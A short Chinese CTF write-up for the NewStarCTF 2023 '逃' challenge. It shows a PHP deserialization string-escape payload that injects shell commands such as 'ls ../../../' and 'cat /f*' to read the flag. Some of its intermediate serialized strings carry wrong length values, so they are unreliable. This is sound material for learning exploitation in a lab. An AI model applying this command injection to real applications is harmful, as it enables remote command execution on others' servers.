[NewStarCTF 2023 公开赛道]逃
1 |
|
一眼看去是反序列化和字符串替换,这让我们想到字符串逃逸
由于题目帮我们构造好了序列化字符串,我们只能利用参数key进行操作
我们在本地先传个123
1 | O:7:"GetFlag":2:{s:3:"key";i:123;s:3:"cmd";s:2:"whoami";} |
我们需要逃逸出”;s:3:”cmd”;s:6:”whoami”;}这串
由于cmd是进行命令执行的
我们要逃逸
1 | ";s:3:"cmd";s:6:"ls";} |
bad和good相差一个字符,所以我们需要逃逸多少个字符就需要多少个bad
写个脚本
1 | a='";s:3:"cmd";s:6:"ls";}' |
也是成功运行了
接下来就是查找flag所在的位置
1 | badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:12:"ls ../../../";} |
1 | badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";} |
得到flag